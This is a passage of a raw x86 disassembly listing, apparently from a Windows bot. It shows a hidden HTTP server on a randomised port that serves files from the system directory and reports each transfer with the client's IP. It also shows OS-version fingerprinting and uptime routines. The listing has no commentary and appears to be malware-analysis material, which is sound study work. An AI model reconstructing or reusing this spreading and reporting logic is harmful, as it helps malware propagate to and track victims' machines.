call j_??2@YAPAXI@Z ; operator new(uint)
mov ebx, eax
push ebx ; void *
call __msize
push eax ; size_t
push 0 ; int
push ebx ; void *
call _memset
push 25h ; Val
push esi ; Str
call _strchr
add esp, 1Ch
test eax, eax
jnz short loc_418420
loc_4183D7: ; CODE XREF: sub_418396+114j
mov eax, esi
mov edx, esi
loc_4183DB: ; CODE XREF: sub_418396+4Aj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_4183DB
mov edi, ebx
sub eax, edx
dec edi
loc_4183E7: ; CODE XREF: sub_418396+57j
mov cl, [edi+1]
inc edi
test cl, cl
jnz short loc_4183E7
mov ecx, eax
shr ecx, 2
mov esi, edx
mov edx, [ebp+Str]
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
xor eax, eax
mov edi, edx
stosd
mov eax, ebx
sub edx, ebx
loc_41840B: ; CODE XREF: sub_418396+7Dj
mov cl, [eax]
mov [edx+eax], cl
inc eax
test cl, cl
jnz short loc_41840B
xor esi, esi
inc esi
jmp loc_4184B1
; ---------------------------------------------------------------------------
loc_41841D: ; CODE XREF: sub_418396+10Ej
mov eax, [ebp+var_8]
loc_418420: ; CODE XREF: sub_418396+3Fj
mov byte ptr [eax], 0
mov ecx, esi
loc_418425: ; CODE XREF: sub_418396+94j
mov dl, [ecx]
inc ecx
test dl, dl
jnz short loc_418425
sub ecx, esi
mov edi, ebx
mov edx, ecx
dec edi
loc_418433: ; CODE XREF: sub_418396+A3j
mov cl, [edi+1]
inc edi
test cl, cl
jnz short loc_418433
mov ecx, edx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
inc eax
push 2 ; Count
push eax ; Source
mov [ebp+var_8], eax
lea eax, [ebp+Dest]
push eax ; Dest
rep movsb
call _strncpy
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+Dest]
push offset asc_4204B4 ; "%x"
push eax ; char *
mov [ebp+var_2], 0
call _sscanf
add esp, 18h
test eax, eax
jz short loc_4184AF
mov eax, ebx
lea esi, [eax+1]
loc_41847B: ; CODE XREF: sub_418396+EAj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_41847B
mov cl, [ebp+var_C]
sub eax, esi
mov esi, [ebp+var_8]
add esi, 2
push 25h ; Val
push esi ; Str
mov [eax+ebx], cl
mov byte ptr [eax+ebx+1], 0
call _strchr
test eax, eax
pop ecx
pop ecx
mov [ebp+var_8], eax
jnz loc_41841D
jmp loc_4183D7
; ---------------------------------------------------------------------------
loc_4184AF: ; CODE XREF: sub_418396+DEj
xor esi, esi
loc_4184B1: ; CODE XREF: sub_418396+82j
push ebx ; Memory
call j_j__free
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn
sub_418396 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184BF proc near ; CODE XREF: sub_418552+A1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov [eax], esi
mov eax, [ebp+arg_4]
push edi
mov [eax], esi
mov eax, [ebp+arg_8]
push offset asc_42049C ; "\r\n"
push esi ; Str
mov [ebx], esi
mov [eax], esi
call _strstr
mov edi, eax
test edi, edi
pop ecx
pop ecx
jnz short loc_4184EB
loc_4184E7: ; CODE XREF: sub_4184BF+52j
; sub_4184BF+69j ...
xor eax, eax
jmp short loc_41854F
; ---------------------------------------------------------------------------
loc_4184EB: ; CODE XREF: sub_4184BF+26j
push offset asc_4204A0 ; " "
push esi ; Str
mov byte ptr [edi], 0
call _strtok
mov ecx, [ebp+arg_0]
push offset asc_4204A4 ; " "
push 0 ; Str
mov [ecx], eax
call _strtok
add esp, 10h
test eax, eax
mov [ebx], eax
jz short loc_4184E7
push offset asc_4204A8 ; " "
push 0 ; Str
call _strtok
test eax, eax
pop ecx
pop ecx
mov ecx, [ebp+arg_4]
mov [ecx], eax
jz short loc_4184E7
mov ecx, [ebp+arg_8]
lea eax, [edi+2]
cmp byte ptr [eax], 0
mov [ecx], eax
jz short loc_41854C
push offset asc_4204AC ; "\r\n\r\n"
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_4184E7
mov byte ptr [eax+2], 0
loc_41854C: ; CODE XREF: sub_4184BF+76j
xor eax, eax
inc eax
loc_41854F: ; CODE XREF: sub_4184BF+2Aj
pop edi
pop ebp
retn
sub_4184BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=0CA8h
sub_418552 proc near ; CODE XREF: sub_418AEB+28p
var_D28 = dword ptr -0D28h
Str = dword ptr -0D24h
Memory = dword ptr -0D20h
var_D1C = dword ptr -0D1Ch
var_D18 = byte ptr -0D18h
var_D14 = byte ptr -0D14h
var_D13 = byte ptr -0D13h
var_D12 = byte ptr -0D12h
var_D11 = byte ptr -0D11h
var_D08 = byte ptr -0D08h
var_D07 = byte ptr -0D07h
Dest = byte ptr -908h
var_907 = byte ptr -907h
var_508 = byte ptr -508h
var_507 = byte ptr -507h
Str2 = byte ptr -108h
var_107 = byte ptr -107h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-0CA8h]
sub esp, 0D28h
mov eax, dword_423064
xor eax, ebp
mov [ebp+0CA8h+var_4], eax
push ebx
push esi
mov esi, 3FFh
xor ebx, ebx
push esi ; size_t
lea eax, [ebp+0CA8h+var_907]
push ebx ; int
push eax ; void *
mov [ebp+0CA8h+Dest], bl
call _memset
push esi ; size_t
lea eax, [ebp+0CA8h+var_507]
push ebx ; int
push eax ; void *
mov [ebp+0CA8h+var_508], bl
call _memset
push 103h ; size_t
lea eax, [ebp+0CA8h+var_107]
push ebx ; int
push eax ; void *
mov [ebp+0CA8h+Str2], bl
call _memset
push esi ; size_t
lea eax, [ebp+0CA8h+var_D07]
push ebx ; int
push eax ; void *
mov [ebp+0CA8h+var_D08], bl
call _memset
add esp, 30h
push ebx
push 400h
lea eax, [ebp+0CA8h+var_D08]
push eax
push [ebp+0CA8h+arg_0]
call ds:dword_41D270 ; recv
mov [ebp+eax+0CA8h+var_D08], bl
lea eax, [ebp+0CA8h+var_D1C]
push eax
lea eax, [ebp+0CA8h+Memory]
push eax
lea eax, [ebp+0CA8h+var_D28]
push eax
lea ebx, [ebp+0CA8h+Str]
lea esi, [ebp+0CA8h+var_D08]
call sub_4184BF
add esp, 0Ch
test eax, eax
jz loc_418AD4
mov esi, [ebp+0CA8h+var_D28]
push edi
push 4
mov edi, offset aGet ; "GET"
pop ecx
xor eax, eax
repe cmpsb
jz loc_4186E0
push offset aQue? ; "Que?"
mov esi, 3FFh
lea eax, [ebp+0CA8h+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+0CA8h+Dest]
add esp, 0Ch
lea edx, [eax+1]
loc_41863C: ; CODE XREF: sub_418552+EFj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_41863C
sub eax, edx
xor ebx, ebx
mov [ebp+eax+0CA8h+Dest], bl
lea eax, [ebp+0CA8h+Dest]
lea ecx, [eax+1]
loc_418657: ; CODE XREF: sub_418552+10Aj
mov dl, [eax]
inc eax
cmp dl, bl
jnz short loc_418657
sub eax, ecx
push eax
push offset aHttp1_1501NotI ; "HTTP/1.1 501 Not Implemented\r\nContent-L"...
lea eax, [ebp+0CA8h+var_508]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+0CA8h+var_508]
add esp, 10h
lea ecx, [eax+1]
loc_41867F: ; CODE XREF: sub_418552+132j
mov dl, [eax]
inc eax
cmp dl, bl
jnz short loc_41867F
sub eax, ecx
mov [ebp+eax+0CA8h+var_508], bl
lea eax, [ebp+0CA8h+var_508]
lea ecx, [eax+1]
loc_418698: ; CODE XREF: sub_418552+14Bj
mov dl, [eax]
inc eax
cmp dl, bl
jnz short loc_418698
mov esi, ds:dword_41D228
push ebx
sub eax, ecx
push eax
lea eax, [ebp+0CA8h+var_508]
push eax
push [ebp+0CA8h+arg_0]
call esi ; send
lea eax, [ebp+0CA8h+Dest]
lea ecx, [eax+1]
loc_4186C1: ; CODE XREF: sub_418552+174j
mov dl, [eax]
inc eax
cmp dl, bl
jnz short loc_4186C1
push ebx
sub eax, ecx
push eax
lea eax, [ebp+0CA8h+Dest]
push eax
push [ebp+0CA8h+arg_0]
call esi ; send
jmp loc_418AC7
; ---------------------------------------------------------------------------
loc_4186E0: ; CODE XREF: sub_418552+C1j
mov edi, [ebp+0CA8h+Str]
push edi ; Str
call sub_418396
test eax, eax
pop ecx
jz loc_418AD3
mov eax, edi
lea edx, [eax+1]
loc_4186F7: ; CODE XREF: sub_418552+1AAj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_4186F7
sub eax, edx
cmp eax, 1
jbe loc_418849
inc edi
push 2Fh ; Val
push edi ; Str
call _strchr
mov esi, eax
xor ebx, ebx
cmp esi, ebx
pop ecx
pop ecx
jz loc_4187A6
mov [esi], bl
inc esi
push esi ; Str
call sub_41837F
push ebx ; Val
push esi ; Str
call _strchr
add esp, 0Ch
cmp [esi], bl
jz short loc_41876F
cmp byte ptr [eax-1], 5Ch
jz short loc_41876F
push esi
push edi
push offset dword_4266A8
push offset aSSS_2 ; "%s\\%s\\%s"
lea eax, [ebp+0CA8h+Str2]
push 103h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+0CA8h+Str2]
add esp, 18h
lea esi, [eax+1]
loc_418766: ; CODE XREF: sub_418552+219j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_418766
jmp short loc_4187D5
; ---------------------------------------------------------------------------
loc_41876F: ; CODE XREF: sub_418552+1E3j
; sub_418552+1E9j
push offset dword_4268B8
push esi
push edi
push offset dword_4266A8
push offset aSSSS ; "%s\\%s\\%s%s"
lea eax, [ebp+0CA8h+Str2]
push 103h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+0CA8h+Str2]
add esp, 1Ch
lea esi, [eax+1]
loc_41879D: ; CODE XREF: sub_418552+250j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_41879D
jmp short loc_4187D5
; ---------------------------------------------------------------------------
loc_4187A6: ; CODE XREF: sub_418552+1C8j
push edi
push offset dword_4266A8
push offset aSS_8 ; "%s\\%s"
lea eax, [ebp+0CA8h+Str2]
push 103h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+0CA8h+Str2]
add esp, 14h
lea esi, [eax+1]
loc_4187CE: ; CODE XREF: sub_418552+281j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_4187CE
loc_4187D5: ; CODE XREF: sub_418552+21Bj
; sub_418552+252j
sub eax, esi
mov [ebp+eax+0CA8h+Str2], bl
lea eax, [ebp+0CA8h+Str2]
push eax ; Str2
push offset Str1 ; Str1
call __stricmp
test eax, eax
pop ecx
pop ecx
jz short loc_41884B
mov esi, 200h
push esi ; Size
call _malloc
push esi ; size_t
mov edi, eax
push ebx ; int
push edi ; void *
mov [ebp+0CA8h+Memory], edi
call _memset
add esp, 10h
push offset aQue?_0 ; "Que?"
push edi ; void *
call __msize
pop ecx
dec eax
push eax ; Count
push edi ; Dest
call __snprintf
mov eax, edi
add esp, 0Ch
lea esi, [eax+1]
loc_41882C: ; CODE XREF: sub_418552+2DFj
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_41882C
sub eax, esi
mov [eax+edi], bl
mov eax, edi
lea esi, [eax+1]
loc_41883D: ; CODE XREF: sub_418552+2F0j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_41883D
jmp loc_41892E
; ---------------------------------------------------------------------------
loc_418849: ; CODE XREF: sub_418552+1B1j
xor ebx, ebx
loc_41884B: ; CODE XREF: sub_418552+2A1j
push ebx
push ebx
push 3
push ebx
push 1
push 80000000h
lea eax, [ebp+0CA8h+Str2]
push eax
call ds:dword_41D06C ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+0CA8h+Str], esi
jz short loc_4188DF
push ebx
push esi
call ds:dword_41D070 ; GetFileSize
mov edi, eax
push edi ; Size
mov [ebp+0CA8h+var_D1C], edi
call _malloc
push edi ; size_t
push ebx ; int
push eax ; void *
mov [ebp+0CA8h+Memory], eax
call _memset
add esp, 10h
push ebx
push ebx
push ebx
push esi
mov esi, ds:dword_41D074
call esi ; SetFilePointer
push ebx
lea eax, [ebp+0CA8h+var_D28]
push eax
push edi
mov edi, ds:dword_41D078
jmp short loc_4188D1
; ---------------------------------------------------------------------------
loc_4188A9: ; CODE XREF: sub_418552+389j
cmp [ebp+0CA8h+var_D28], ebx
jnz loc_418933
push [ebp+0CA8h+var_D1C] ; size_t
push ebx ; int
push [ebp+0CA8h+Memory] ; void *
call _memset
add esp, 0Ch
push ebx
push ebx
push ebx
push [ebp+0CA8h+Str]
call esi ; SetFilePointer
push ebx
lea eax, [ebp+0CA8h+var_D28]
push eax
push [ebp+0CA8h+var_D1C]
loc_4188D1: ; CODE XREF: sub_418552+355j
push [ebp+0CA8h+Memory]
push [ebp+0CA8h+Str]
call edi ; ReadFile
test eax, eax
jnz short loc_4188A9
jmp short loc_418933
; ---------------------------------------------------------------------------
loc_4188DF: ; CODE XREF: sub_418552+31Aj
mov esi, 200h
push esi ; Size
call _malloc
push esi ; size_t
mov edi, eax
push ebx ; int
push edi ; void *
mov [ebp+0CA8h+Memory], edi
call _memset
add esp, 10h
push offset aQue?_1 ; "Que?"
push edi ; void *
call __msize
pop ecx
dec eax
push eax ; Count
push edi ; Dest
call __snprintf
mov eax, edi
add esp, 0Ch
lea esi, [eax+1]
loc_418916: ; CODE XREF: sub_418552+3C9j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_418916
sub eax, esi
mov [eax+edi], bl
mov eax, edi
lea esi, [eax+1]
loc_418927: ; CODE XREF: sub_418552+3DAj
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_418927
loc_41892E: ; CODE XREF: sub_418552+2F2j
sub eax, esi
mov [ebp+0CA8h+var_D1C], eax
loc_418933: ; CODE XREF: sub_418552+35Aj
; sub_418552+38Bj
push 400h ; size_t
lea eax, [ebp+0CA8h+var_508]
push ebx ; int
push eax ; void *
call _memset
push [ebp+0CA8h+var_D1C]
lea eax, [ebp+0CA8h+var_508]
push offset aHttp1_1200OkCo ; "HTTP/1.1 200 ok\r\nContent-Length: %d\r\nCo"...
push 3FFh ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+0CA8h+var_508]
add esp, 1Ch
lea esi, [eax+1]
loc_41896A: ; CODE XREF: sub_418552+41Dj
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_41896A
sub eax, esi
mov [ebp+eax+0CA8h+var_508], bl
lea eax, [ebp+0CA8h+var_508]
lea esi, [eax+1]
loc_418983: ; CODE XREF: sub_418552+436j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_418983
sub eax, esi
mov esi, ds:dword_41D228
push ebx
push eax
lea eax, [ebp+0CA8h+var_508]
push eax
push [ebp+0CA8h+arg_0]
call esi ; send
test eax, eax
jz loc_418ABE
push ebx
push [ebp+0CA8h+var_D1C]
push [ebp+0CA8h+Memory]
push [ebp+0CA8h+arg_0]
call esi ; send
test eax, eax
jz loc_418ABE
lea eax, [ebp+0CA8h+Str2]
push eax ; Str2
push offset Str1 ; Str1
call __stricmp
test eax, eax
pop ecx
pop ecx
jnz loc_418ABE
push 100h ; unsigned int
call j_??2@YAPAXI@Z ; operator new(uint)
mov esi, eax
push esi ; void *
call __msize
push eax
mov ebx, offset dword_424ED0
call sub_4196D1
xor eax, eax
lea edi, [ebp+0CA8h+var_D18]
stosd
stosd
stosd
add esp, 0Ch
stosd
lea eax, [ebp+0CA8h+Str]
push eax
lea eax, [ebp+0CA8h+var_D18]
push eax
push [ebp+0CA8h+arg_0]
mov [ebp+0CA8h+Str], 10h
call ds:dword_41D248 ; getpeername
movzx eax, [ebp+0CA8h+var_D11]
movzx ecx, [ebp+0CA8h+var_D12]
shl eax, 8
add eax, ecx
movzx ecx, [ebp+0CA8h+var_D13]
shl eax, 8
add eax, ecx
movzx ecx, [ebp+0CA8h+var_D14]
shl eax, 8
add eax, ecx
push 2
mov [ebp+0CA8h+var_D1C], eax
push 4
lea eax, [ebp+0CA8h+var_D1C]
push eax
call ds:dword_41D280 ; gethostbyaddr
test eax, eax
push dword_433940
jnz short loc_418A86
movzx eax, [ebp+0CA8h+var_D11]
push eax
movzx eax, [ebp+0CA8h+var_D12]
push eax
movzx eax, [ebp+0CA8h+var_D13]
push eax
movzx eax, [ebp+0CA8h+var_D14]
push eax ; Args
push offset aHttpTransferD_ ; "HTTP: Transfer: %d.%d.%d.%d (N/A). %d T"...
push esi ; int
push 0 ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 24h
jmp short loc_418AB1
; ---------------------------------------------------------------------------
loc_418A86: ; CODE XREF: sub_418552+507j
push dword ptr [eax]
movzx eax, [ebp+0CA8h+var_D11]
push eax
movzx eax, [ebp+0CA8h+var_D12]
push eax
movzx eax, [ebp+0CA8h+var_D13]
push eax
movzx eax, [ebp+0CA8h+var_D14]
push eax ; Args
push offset aHttpTransfer_0 ; "HTTP: Transfer: %d.%d.%d.%d (%s). %d To"...
push esi ; int
push 0 ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 28h
loc_418AB1: ; CODE XREF: sub_418552+532j
inc dword_433940
push esi ; Memory
call j_j__free
pop ecx
loc_418ABE: ; CODE XREF: sub_418552+453j
; sub_418552+46Aj ...
push [ebp+0CA8h+Memory] ; Memory
call _free
pop ecx
loc_418AC7: ; CODE XREF: sub_418552+189j
push [ebp+0CA8h+arg_0]
call ds:dword_41D224 ; closesocket
loc_418AD3: ; CODE XREF: sub_418552+19Aj
pop edi
loc_418AD4: ; CODE XREF: sub_418552+ABj
mov ecx, [ebp+0CA8h+var_4]
pop esi
xor ecx, ebp
pop ebx
call sub_402710
add ebp, 0CA8h
leave
retn
sub_418552 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AEB proc near ; DATA XREF: sub_418C40+27o
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 401h
jz short loc_418AFE
pop ebp
jmp ds:dword_41D200
; ---------------------------------------------------------------------------
loc_418AFE: ; CODE XREF: sub_418AEB+Aj
mov eax, [ebp+arg_C]
dec eax
jz short loc_418B10
sub eax, 7
jnz short loc_418B19
call sub_41835D
jmp short loc_418B19
; ---------------------------------------------------------------------------
loc_418B10: ; CODE XREF: sub_418AEB+17j
push [ebp+arg_8]
call sub_418552
pop ecx
loc_418B19: ; CODE XREF: sub_418AEB+1Cj
; sub_418AEB+23j
xor eax, eax
pop ebp
retn 10h
sub_418AEB endp
; =============== S U B R O U T I N E =======================================
sub_418B1F proc near ; CODE XREF: sub_418C40+9Bp
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, 104h
push edi ; size_t
xor ebp, ebp
push ebp ; int
mov ebx, offset dword_4266A8
push ebx ; void *
call _memset
push edi ; size_t
push ebp ; int
mov esi, offset dword_4268B8
push esi ; void *
call _memset
push edi ; size_t
push ebp ; int
mov ebp, offset Str1
push ebp ; void *
call _memset
add esp, 24h
push edi
push ebx
call ds:dword_41D0F4 ; GetSystemDirectoryA
push edi
mov ebx, offset byte_425061
call sub_4196D1
push esi
push offset dword_4266A8
push offset aSS_9 ; "%s\\%s"
push 103h ; Count
push ebp ; Dest
call __snprintf
mov eax, ebp
add esp, 18h
lea ecx, [eax+1]
loc_418B85: ; CODE XREF: sub_418B1F+6Bj
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_418B85
push 0
push 1
sub eax, ecx
push 2
mov Str1[eax], dl
call ds:dword_41D27C ; socket
cmp eax, 0FFFFFFFFh
mov dword_4267AC, eax
jnz short loc_418BB8
push eax
loc_418BAB: ; CODE XREF: sub_418B1F+E7j
call ds:dword_41D224 ; closesocket
xor eax, eax
jmp loc_418C3B
; ---------------------------------------------------------------------------
loc_418BB8: ; CODE XREF: sub_418B1F+89j
mov eax, 0FFDCh
mov ebx, 3E8h
call sub_4192C7
push eax
mov dword_426594, eax
mov word_426694, 2
call ds:dword_41D278 ; htons
and dword_426698, 0
push 10h
push offset word_426694
push dword_4267AC
mov word_426696, ax
call ds:dword_41D26C ; bind
test eax, eax
jz short loc_418C08
loc_418C00: ; CODE XREF: sub_418B1F+102j
; sub_418B1F+114j
push dword_4267AC
jmp short loc_418BAB
; ---------------------------------------------------------------------------
loc_418C08: ; CODE XREF: sub_418B1F+DFj
push 9
push 401h
push [esp+18h+arg_0]
push dword_4267AC
call ds:dword_41D22C ; WSAAsyncSelect
test eax, eax
jnz short loc_418C00
push 4
push dword_4267AC
call ds:dword_41D230 ; listen
test eax, eax
jnz short loc_418C00
inc eax
mov byte_4268B4, al
loc_418C3B: ; CODE XREF: sub_418B1F+94j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_418B1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C40 proc near ; DATA XREF: sub_418D17+21o
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
push ebp
mov ebp, esp
sub esp, 50h
mov eax, dword_4266A4
push ebx
mov ebx, ds:dword_41D1F4
push esi
push edi
mov edi, 7F00h
push edi
xor esi, esi
push esi
mov [ebp+var_3C], eax
mov [ebp+var_28], 4255BCh
mov [ebp+var_48], offset sub_418AEB
mov [ebp+var_4C], 8
mov [ebp+var_50], 30h
call ebx ; LoadIconA
push edi
push esi
mov [ebp+var_38], eax
call ebx ; LoadIconA
push edi
push esi
mov [ebp+var_24], eax
call ds:dword_41D20C ; LoadCursorA
mov [ebp+var_34], eax
lea eax, [ebp+var_50]
push eax
mov [ebp+var_2C], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_30], 1
call ds:dword_41D1F0 ; RegisterClassExA
test ax, ax
jz short loc_418D0E
push esi
push dword_4266A4
mov eax, 80000000h
push esi
push esi
push esi
push esi
push eax
push eax
push 0CF0000h
push offset asc_420364 ; " "
push 4255BCh
push esi
call ds:dword_41D1FC ; CreateWindowExA
push eax
call sub_418B1F
test eax, eax
pop ecx
jz short loc_418D0E
mov edi, ds:dword_41D208
jmp short loc_418D01
; ---------------------------------------------------------------------------
loc_418CED: ; CODE XREF: sub_418C40+CCj
lea eax, [ebp+var_20]
push eax
call ds:dword_41D1F8 ; TranslateMessage
lea eax, [ebp+var_20]
push eax
call ds:dword_41D204 ; DispatchMessageA
loc_418D01: ; CODE XREF: sub_418C40+ABj
push esi
push esi
push esi
lea eax, [ebp+var_20]
push eax
call edi ; GetMessageA
test eax, eax
jnz short loc_418CED
loc_418D0E: ; CODE XREF: sub_418C40+70j
; sub_418C40+A3j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_418C40 endp
; =============== S U B R O U T I N E =======================================
sub_418D17 proc near ; CODE XREF: sub_401F1C+70p
; .text:0041BFC8p
push 4
mov eax, offset __ehhandler$?empty@locale@std@@SA?AV12@XZ_0
call __EH_prolog3
push 8 ; Size
call ??2@YAPAXI@Z ; operator new(uint)
mov esi, eax
pop ecx
mov [ebp-10h], esi
and dword ptr [ebp-4], 0
test esi, esi
jz short loc_418D4B
push offset sub_418C40
xor ecx, ecx
mov edi, offset aHs ; "HS"
call sub_4140AB
jmp short loc_418D4D
; ---------------------------------------------------------------------------
loc_418D4B: ; CODE XREF: sub_418D17+1Fj
xor eax, eax
loc_418D4D: ; CODE XREF: sub_418D17+32j
cmp dword ptr [eax+4], 0
setnz al
call __EH_epilog3
retn
sub_418D17 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_418D5A proc near ; CODE XREF: sub_4192C7:loc_4192EBp
mov eax, dword_4265B0
mov edx, dword_4265B4
lea ecx, ds:4265B8h[eax*4]
push esi
mov esi, eax
mov eax, dword_4265B8[edx*4]
add eax, [ecx]
and eax, 3FFFFFFFh
inc esi
cmp esi, 37h
mov [ecx], eax
jnz short loc_418D87
xor esi, esi
loc_418D87: ; CODE XREF: sub_418D5A+29j
inc edx
cmp edx, 37h
jnz short loc_418D8F
xor edx, edx
loc_418D8F: ; CODE XREF: sub_418D5A+31j
mov dword_4265B0, esi
mov dword_4265B4, edx
sar eax, 6
pop esi
retn
sub_418D5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DA0 proc near ; CODE XREF: sub_401CC0+125p
; sub_41748B:loc_41759Cp ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
lea eax, [ebp+var_10]
push eax
call ds:dword_41D058 ; QueryPerformanceCounter
test eax, eax
jz short loc_418E1C
lea eax, [ebp+var_8]
push eax
call ds:dword_41D064 ; QueryPerformanceFrequency
test eax, eax
jz short loc_418E1C
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call __alldiv
push 0
push 15180h
push edx
push eax
call __alldvrm
push 0
push 0E10h
push ebx
push ecx
mov dword_426598, eax
mov dword_42659C, edx
call __alldvrm
push 0
push 3Ch
push ebx
push ecx
mov dword_4265A0, eax
mov dword_4265A4, edx
call __alldiv
mov dword_4265A8, eax
mov dword_4265AC, edx
loc_418E1C: ; CODE XREF: sub_418DA0+13j
; sub_418DA0+21j
pop ebx
leave
retn
sub_418DA0 endp
; =============== S U B R O U T I N E =======================================
sub_418E1F proc near ; CODE XREF: sub_401CC0+EFp
; sub_41748B+BCp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0] ; size_t
push 0 ; int
push esi ; void *
call _memset
add esp, 0Ch
cmp [esp+arg_4], 0
push [esp+arg_0]
push esi
jz short loc_418E41
push 1002h
jmp short loc_418E43
; ---------------------------------------------------------------------------
loc_418E41: ; CODE XREF: sub_418E1F+19j
push 7
loc_418E43: ; CODE XREF: sub_418E1F+20j
push 800h
call ds:dword_41D054 ; GetLocaleInfoA
mov eax, esi
retn
sub_418E1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
; int __fastcall sub_418E51(unsigned int,char)
sub_418E51 proc near ; CODE XREF: sub_401CC0+DAp
; sub_41748B+8Bp ...
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 98h
mov eax, dword_423064
xor eax, ebp
mov [ebp+74h+var_4], eax
push ebx
push edi
lea eax, [ebp+74h+var_98]
push eax
mov ebx, ecx
mov [ebp+74h+var_98], 94h
call ds:dword_41D068 ; GetVersionExA
push ebx ; size_t
xor edi, edi
push edi ; int
push esi ; void *
call _memset
add esp, 0Ch
cmp [ebp+74h+var_94], 6
jnz short loc_418E9A
cmp [ebp+74h+var_90], edi
jnz short loc_418F05
push offset aVis ; "VIS"
jmp short loc_418F0A
; ---------------------------------------------------------------------------
loc_418E9A: ; CODE XREF: sub_418E51+3Bj
cmp [ebp+74h+var_94], 5
jnz short loc_418EC6
cmp [ebp+74h+var_90], 2
jnz short loc_418EAD
push offset a2k3 ; "2K3"
jmp short loc_418F0A
; ---------------------------------------------------------------------------
loc_418EAD: ; CODE XREF: sub_418E51+53j
cmp [ebp+74h+var_90], 1
jnz short loc_418EBA
push offset aXp ; "XP"
jmp short loc_418F0A
; ---------------------------------------------------------------------------
loc_418EBA: ; CODE XREF: sub_418E51+60j
cmp [ebp+74h+var_90], edi
jnz short loc_418F05
push offset a2k ; "2K"
jmp short loc_418F0A
; ---------------------------------------------------------------------------
loc_418EC6: ; CODE XREF: sub_418E51+4Dj
cmp [ebp+74h+var_94], 4
jnz short loc_418F05
cmp [ebp+74h+var_90], 5Ah
jnz short loc_418ED9
push offset aMe ; "ME"
jmp short loc_418F0A
; ---------------------------------------------------------------------------
loc_418ED9: ; CODE XREF: sub_418E51+7Fj
cmp [ebp+74h+var_90], 1
jnz short loc_418EE6
push offset a98 ; "98"
jmp short loc_418F0A
; ---------------------------------------------------------------------------
loc_418EE6: ; CODE XREF: sub_418E51+8Cj
cmp [ebp+74h+var_90], edi
jnz short loc_418F05
cmp [ebp+74h+var_88], 2
jnz short loc_418EF8
push offset aNt ; "NT"
jmp short loc_418F0A
; ---------------------------------------------------------------------------
loc_418EF8: ; CODE XREF: sub_418E51+9Ej
cmp [ebp+74h+var_88], 1
jnz short loc_418F17
push offset a95 ; "95"
jmp short loc_418F0A
; ---------------------------------------------------------------------------
loc_418F05: ; CODE XREF: sub_418E51+40j
; sub_418E51+6Cj ...
push offset aUnk ; "UNK"
loc_418F0A: ; CODE XREF: sub_418E51+47j
; sub_418E51+5Aj ...
lea eax, [ebx-1]
push eax ; Count
push esi ; Dest
call __snprintf
add esp, 0Ch
loc_418F17: ; CODE XREF: sub_418E51+ABj
mov eax, esi
lea edx, [eax+1]
loc_418F1C: ; CODE XREF: sub_418E51+D0j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_418F1C
sub eax, edx
cmp [ebp+74h+arg_0], cl
mov [eax+esi], cl
jz loc_418FB3
push ebx ; unsigned int
call j_??2@YAPAXI@Z ; operator new(uint)
mov edi, eax
push edi ; void *
call __msize
push eax ; size_t
